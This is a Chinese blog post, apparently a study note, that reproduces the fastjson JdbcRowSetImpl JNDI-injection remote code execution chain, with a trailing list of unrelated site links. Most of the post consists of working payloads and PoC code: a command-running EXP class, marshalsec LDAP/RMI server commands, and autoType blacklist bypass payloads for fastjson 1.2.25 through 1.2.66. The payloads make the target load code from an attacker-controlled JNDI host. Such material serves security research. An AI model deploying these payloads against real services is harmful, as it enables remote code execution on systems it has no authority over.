JdbcRowSetImpl

接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分

1、漏洞复现

1.1、组件依赖版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

当然对jdk的版本有需求,因为高版本jdk对jndi和rmi有限制,在rmi篇也有说明这里再次贴出,方便自己以后查看

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

图为阿里云应用

1.3、漏洞复现

准备恶意的代码

import java.io.IOException;

public class EXP {
public EXP() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
}

编译恶意代码

javac EXP.java

开启http服务

python3 -m http.server

用marshalsec开jndi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

使用JdbcRowSetImpl构造poc,成功弹窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
public static void main(String[] args) { JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
} }
}

因为fastjson会自动调用setter和getter,具体可以看

Poc调试的那部分,所以我们就可以构造处fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我们JSON.parse()试一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 {
public static void main(String[] args) {
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parse(exp);
}
}

1.4、利用链调试

这次我们就直接跳过fastjson的利用链,因为在TemplateImpl中已经详细跟进过,我们直接进入到 jdbcRowImpl,在setDataSourceName方法打下断点,其实看调用栈也是可以看出,前半部分是跟TemplatesImpl链是一样的,一个调用的是getOutputproperties,一个是setDataSourceName。

我们继续看,先判断DataSourceName的是否为null,不为就调用父类方法赋值,我们也跟进去看看

可以看到就是简单的dataSource赋值,然后就到setAutoCommit

就是判断this.conn是否为null,null就调用this.connect()方法赋值,我们也跟进去看看

跟进来发现,获取上下文然调用lookup方法,参数就是我们获取我们前面赋值dataSource

然后就成功执行代码了

2、漏洞绕过

前面的两条链都是的Fastjson版本都是1.2.22-1.2.24,后面就是绕过了。

2.1、Fastjson:1.2.25-1.2.41

我们先把依赖版本改成1.2.25,再次执行poc发现不行了,报错,说autotype不支持,我们比较一下两个包

我们在TemplatesImpl时,看过这段代码,this.config是ParserConfig,而ref是templatesImpl,他用checkAutoType检查了ref,我们看看他怎么检查的,我们在此处打下断点

确实在1.2.25会使用checkAutoType来校验ref(TemplatesImpl),我们跟进去发现要调用TypeUtils.loadClass,需要进入if,但是this.autoTypeSupport默认为false,所以进不去,

而且在1.2.25版本中默认为flase,我们需要把this.autoTypeSupport设置为true,

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然后到了this.acceptList(白名单),因为他本身就是空的

然后就是黑名单denyList,我们看看是什么东西,发现我们com.sun包就在这里和其他的一些利用链类。

那我们应该怎么办呢?我们怎办才能进入TypeUtils.loadClass(typeName, this.defaultClassLoader),大佬们是跟进去TypeUtils.loadClass方法,发现了绕过方法,我们也跟进去。

跟进来发现,一种是@Type字段开头是 ”[“,另一种“L”开头与“;”结尾,他就会从第二个字符获取我们的className。

所以我们就可以构造新的payload,前提掉件就是AutoTypeSupport要为ture

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必须显示关闭白名单
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

2.2、Fastjson:1.2.42

我们继续修改fastjson版本为1.2.42,继续报错autotype不支持,应该是黑名单问题。

我们调试点依旧打在checkAutoType,继续跟进看看

进来发现一堆hash,但是扔然进入到我们的第一红框,把className的"L"和";"去除掉了。

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64,我们只需要通过把恶意的类通过碰撞hash就可以获取黑名单了,项目地址:https://github.com/LeadroyaL/fastjson-blacklist

因为前面已经去除过一次"L"和";",所以是进入不到if,我们用双写就可以绕过了。

修改payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 {
public static void main(String[] args) { String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}

2.3、Fastjson:1.2.43

1.2.43就是在原有的基础上对"LL"做了判定,是就直接抛出异常

但是"["还是可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 {
public static void main(String[] args) { /* JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}*/ String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}

2.4、Fastjson:1.2.44

[进行限制

2.5、Fastjson:1.2.45

利用条件需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-core</artifactId>
<version>3.0</version>
</dependency>

用的是rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

poc

//需要有第三方组件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl; import java.sql.SQLException; public class fastjonTest2 {
public static void main(String[] args) { String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/EXP\"}}" ; ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parseObject(exp);
}
}

这里采用的跟前面的方式不一样,学习一下

@type指定的是JndiDataSourceFactory类,调用的是setProperties,原理依然是fastJson会自动调用getter和setter方法。我们跟进setProperties看看

到了这里就是会lookup,传入的json字符串data_source,造成RCE

2.6、1.2.25-1.2.47通杀

没有autotype限制和黑名单限制

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory; import java.sql.SQLException; public class fastjonTest2 {
public static void main(String[] args) { String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}"; JSON.parseObject(exp);
}
}

我们跟进分析学习,在checkAutoType,因为我们第一个传入的是@Type是java.lang.Class,也没有把autoTypeSupport设置为true,所以会通过TypeUtils.getClassFromMapping(typeName)去查找,或者从this.deserializers.findClass(typeName)寻找。

在this.deserializers中找到了java.lang.Class,然后就直接返回了clazz,

我们回到上一层DefaultJSONParser的parseObject方法,然后我们继续走到下面

获取了java.lang.Class的反序列化处理类,com.alibaba.fastjson.serializer.MiscCodec,然后执行deserializer.deserialze(),跟进去

进入MiscCodec.deserialze(),我们直接进入重点parser.parse(),这个方法就是用来获取val值的,我们跟进去看看

其实就是遍历获取val的值,然后返回

然后赋值给strVal

然后就是一堆if判断,走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()),把strVal传进去

跟进来,在mapping里面存入了jdbcRowSetImpl,就是存入了mapping缓存

跟着程序继续来到checkAutoType(),跟进去。

会在mapping中查询jdbcRowImpl,因为我们已经存进去,所以clazz就能获取到,然后返回,我回到上一层

走到这,成功获取到jdbcRowSetImpl,然后就是自动自行我们的set方法,setDataSourceName、setautoCommit执行lookup,造成rce

2.7、Fastjson:1.2.48

黑名单多了两条,MiscCodec中将默认传入的cache变为false,checkAutoType()调整了逻辑

2.8、Fastjson:1.2.62

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

2.9、Fastjson:1.2.66

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

Fastjson JdbcRowSetImpl利用链学习的更多相关文章

  1. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  2. commons-collections利用链学习总结

    目录 1 基础 ConstantTransformer InvokeTransformer ChainedTransformer LazyMap TiedMapEntry TransformingCo ...

  3. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  4. TemplatesImpl利用链

    FastJson利用链 Fastjson的版本在1.2.22-1.2.24主要有两条链利用TemplatsImpl和JdbcRowSetImpl利用链先来学习TemplatsImpl利用链,这个与前面 ...

  5. Fastjsonfan反序列链学习前置知识

    Fastjson前置知识 Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象. Fastjson 可以操作任何 ...

  6. C3P0反序列化链学习

    C3P0 c3p0第一次听闻是用于fastjson的回显上,大佬们总结三种方法,后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马) http base jndi hex序列 ...

  7. FastJson反序列化漏洞利用的三个细节 - TemplatesImpl的利用链

    0. 前言 记录在FastJson反序列化RCE漏洞分析和利用时的一些细节问题. 1. TemplatesImpl的利用链 关于 parse 和 parseObject FastJson中的 pars ...

  8. JDK7u21反序列链学习

    JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...

  9. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

随机推荐

  1. Arch Linux 系统迁移

    镜像下载.域名解析.时间同步请点击 阿里巴巴开源镜像站 备份 Arch Linux 系统 安装 pigz 使用 pigz 多线程压缩比使用 tar 单线程压缩速度明显提升多倍 sudo pacman ...

  2. 和风天气WebApi使用教程

    1.首先进入和风天气开发平台,点击右上角的注册进行注册 和风天气开发平台 2.填写注册用的邮箱和密码完成注册,可能还需要手机号,按提示注册完成即可. 3.从和风天气开发平台右上角进入控制台,输入你刚刚 ...

  3. SQL Server 2008安全加固手册

    1.身份鉴别 1.1避免使用空密码和弱口令 要求:应对登录操作系统和数据库系统的用户进行身份标识和鉴别. 目的:操作系统和数据库系统管理用户身份鉴别信息应具有不易被冒用的特点,口令应有复杂度要求并定期 ...

  4. sublime settings

    { "font_face": "Monaco", // 编辑器的字体 "font_size": 13, // 字号 "highli ...

  5. Java中的序列化Serialable

    Java中的序列化Serialable https://blog.csdn.net/caomiao2006/article/details/51588838

  6. 请说说你对Struts2的拦截器的理解?

    Struts2拦截器是在访问某个Action或Action的某个方法,字段之前或之后实施拦截,并且Struts2拦截器是可插拔的,拦截器是AOP的一种实现. 拦截器栈(Interceptor Stac ...

  7. producer内存管理分析

    1 概述 kafka producer调用RecordAccumulator#append来将消息存到本地内存.消息以TopicPartition为key分组存放,每个TopicPartition对应 ...

  8. SynchronizedMap 和 ConcurrentHashMap 有什么区 别?

    SynchronizedMap 一次锁住整张表来保证线程安全,所以每次只能有一个线程来 访为 map. ConcurrentHashMap 使用分段锁来保证在多线程下的性能. ConcurrentHa ...

  9. 学习Kvm(七)

    六,管理虚拟网络 [x] Linux网桥基本概念 [x] qemu-kvm支持的网络 [x] 向虚拟机添加虚拟网络连接 [x] 基于NAT的虚拟网络 [x] 基于网桥的虚拟网络 [x] 用户自定义的隔 ...

  10. springboot+shiro 01 - 实现权限控制

    sb_shiro_session <?xml version="1.0" encoding="UTF-8"?> <project xmlns= ...